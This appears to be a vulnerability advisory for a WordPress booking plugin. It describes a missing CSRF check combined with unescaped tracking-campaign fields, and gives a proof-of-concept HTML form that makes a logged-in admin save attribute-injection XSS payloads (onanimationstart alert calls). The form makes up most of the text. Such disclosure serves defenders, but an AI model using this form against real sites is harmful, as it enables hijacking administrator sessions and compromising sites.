The plugin does not have CSRF check in place when adding a tracking campaign, and does not escape the campaign fields when outputting them In attributes. As a result, attackers could make a logged in admin add tracking campaign with XSS payloads in them via a CSRF attack
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?option=com_vikbooking" method="POST">
<input type="hidden" name="trkenabled" value="1" />
<input type="hidden" name="trkcookierfrdur" value="3" />
<input type="hidden" name="trkcampname[]" value='Test"style=animation-name:rotation onanimationstart=alert(/XSS-Name/)//' />
<input type="hidden" name="trkcampkey[]" value='"style="animation-name:rotation" onanimationstart="alert(/XSS-Key/)//' />
<input type="hidden" name="trkcampval[]" value='"style=animation-name:rotation onanimationstart=alert(/XSS-Key-Value/)//' />
<input type="hidden" name="option" value="com_vikbooking" />
<input type="hidden" name="task" value="savetrkconfigstay" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
XSS will be triggered in the Statistics Tracking Settings: https://example.com/wp-admin/admin.php?option=com_vikbooking&task=trkconfig